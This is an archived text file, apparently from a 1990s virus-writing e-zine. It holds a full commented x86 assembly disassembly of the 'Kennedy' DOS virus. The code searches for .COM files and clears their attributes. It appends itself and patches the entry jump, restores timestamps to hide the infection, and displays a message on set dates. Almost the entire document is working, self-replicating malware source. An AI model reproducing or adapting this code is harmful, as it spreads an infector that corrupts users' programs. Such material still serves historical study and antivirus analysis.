home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#2.ZIP / ARTICLE.3_5 < prev    next >
Encoding:
Text File  |  1994-10-31  |  6.6 KB  |  139 lines
  1. ;                D     A     R     K     M     A     N
  2. ;                           Proudly Presents
  3. ;             D I S A S S E M B L Y   O F   K E N N E D Y
  4.  
  5.  
  6. kennedy      segment
  7.              assume  cs:kennedy,ds:kennedy
  8.              org     100h                ; Origin of COM-file
  9.  
  10. code:
  11. jumpinst     db     0e9h,0ch,00h         ; Jump to viruscode
  12.              nop
  13.              nop
  14.              nop
  15.              int     20h                 ; Exit to DOS!
  16. virusname    db      'Kennedy'
  17. viruscode:
  18.              call    kennedycode
  19. kennedycode:
  20.              pop     si                  ; Load SI from stack
  21.              sub     si,10fh             ; SI = delta offset
  22.              mov     bp,[si+offset jumpadr-3]
  23.              mov     ah,2ah              ; Get system date
  24.              int     21h                 ; Do it!
  25.              cmp     dx,606h             ; 6th July?
  26.              jz      announce            ; Yes? Jump to announce
  27.              cmp     dx,0b12h            ; 18th December?
  28.              jz      announce            ; Yes? Jump to announce
  29.              cmp     dx,0b16h            ; 22th December?
  30.              jz      announce            ; Yes? Jump to announce
  31.              lea     dx,[si+filespec-3]  ; DX = offset of filespec
  32.              xor     cx,cx               ; Clear CX
  33.              mov     ah,4eh              ; Find first matching file
  34. findnext:
  35.              int     21h                 ; Do it!
  36.              jb      virusexit           ; Error? Jump to virusexit
  37.              call    checkfile
  38.              jb      virusexit           ; Error? Jump to virusexit
  39.              mov     ah,4fh              ; Find next matching file
  40.              jmp     findnext
  41. virusexit:
  42.              mov     ax,bp
  43.              add     ax,103h             ; AX = offset of real code
  44.              jmp     ax                  ; Jump to the real code
  45. announce:
  46.              lea     dx,[si+announcement-3]
  47.              mov     ah,09h              ; Standard output string
  48.              int     21h                 ; Do it!
  49.              jmp     virusexit
  50. checkfile:
  51.              mov     ax,4300h            ; Get file attributes
  52.              mov     dx,9eh              ; DX = offset of filname in DTA
  53.              int     21h                 ; Do it!
  54.              mov     [si+offset fileinfo],cx
  55.              mov     ax,4301h            ; Set file attributes
  56.              xor     cx,cx               ; Clear CX
  57.              int     21h                 ; Do it!
  58.              mov     ax,3d02h            ; Open file (read/write file)
  59.              int     21h                 ; Do it!
  60.              mov     bx,ax
  61.              mov     ah,3fh              ; Read from file
  62.              lea     dx,[si+offset fileinfo-3]
  63.              mov     di,dx
  64.              mov     cx,03h              ; Read 3 bytes
  65.              int     21h                 ; Do it!
  66.              cmp     byte ptr [di],0e9h  ; First instruction jump?
  67.              jz      infectfile          ; Yes? Jump to infectfile
  68. restoreattr:
  69.              call    setfileattr
  70.              clc                        ; Clear carry flag
  71.              ret                         ; Return!
  72. infectfile:
  73.              mov     dx,[di+01h]
  74.              mov     [si+offset jumpadr-3],dx
  75.              xor     cx,cx               ; Clear CX
  76.              mov     ax,4200h            ; Move file pointer from beginning
  77.              int     21h                 ; Do it!
  78.              mov     dx,di
  79.              mov     cx,02h              ; Read 2 bytes
  80.              mov     ah,3fh              ; Read from file
  81.              int     21h                 ; Do it!
  82.              cmp     [di],6465h          ; Already infected?
  83.              jz      restoreattr         ; Yes? Jump to restoreattr
  84.              xor     dx,dx               ; Clear DX
  85.              xor     cx,cx               ; Clear CX
  86.              mov     ax,4202h            ; Move file pointer from end
  87.              int     21h                 ; Do it!
  88.              cmp     dx,00h              ; DX = 0? (Filesize = 0)
  89.              jnz     restoreattr         ; Not equal? Jump to restoreattr
  90.              cmp     ax,0fde8h           ; AX = 65000? (Filesize >= 65000)
  91.              jnb     restoreattr         ; Greater or equal? Jump restoreattr
  92.              add     ax,04h              ; AX = AX + 4
  93.              mov     [si+offset fileinfo+6],ax
  94.              mov     ax,5700h            ; Get file date and time
  95.              int     21h                 ; Do it!
  96.              mov     [si+offset fileinfo+2],cx
  97.              mov     [si+offset fileinfo+4],dx
  98.              mov     ah,40h              ; Write to file
  99.              lea     dx,[si+virusname-3]
  100.              mov     cx,14dh             ; Write 333 bytes
  101.              int     21h                 ; Do it!
  102.              jb      restoredate         ; Error? Jump to restoredate
  103.              mov     ax,4200h            ; Move file pointer from beginning
  104.              xor     cx,cx               ; Clear CX
  105.              mov     dx,01h              ; Move file pointer to second byte
  106.              int     21h                 ; Do it!
  107.              mov     ah,40h              ; Write to file
  108.              lea     dx,[si+offset fileinfo+6]
  109.              mov     cx,02h              ; Write 2 bytes
  110.              int     21h                 ; Do it!
  111. restoredate:
  112.              mov     cx,[si+offset fileinfo+2]
  113.              mov     dx,[si+offset fileinfo+4]
  114.              mov     ax,5701h            ; Set file date and time
  115.              int     21h                 ; Do it!
  116.              mov     ah,3eh              ; Close file
  117.              int     21h                 ; Do it!
  118.              call    setfileattr
  119.              stc                         ; Set carry flag
  120.              ret                         ; Return!
  121. setfileattr:
  122.              mov     ax,4301h            ; Set file attributes
  123.              mov     cx,[si+offset fileinfo]
  124.              int     21h                 ; Do it!
  125.              ret                         ; Return!
  126.  
  127. realcodeoff  db      03h,00h             ; Offset of the real code
  128. filespec     db      '*.COM',00h         ; Filespecification
  129. commandpath  db      '\COMMAND.COM',00h  ; Path of COMMAND.COM
  130. announcement db      'Kennedy er d¢d - ' ; This announcement will be
  131.              db      'længe leve "The '  ; typed on the screen, if the
  132.              db      'Dead Kennedys"'    ; virus is activated at one of the
  133.              db      0dh,0ah,'$'         ; activation dates
  134. fileinfo     db      43 dup(?)           ; Information about infected file
  135.                                          ; and the soon infected file!!!
  136.  
  137. kennedy      ends
  138. end          code
  139.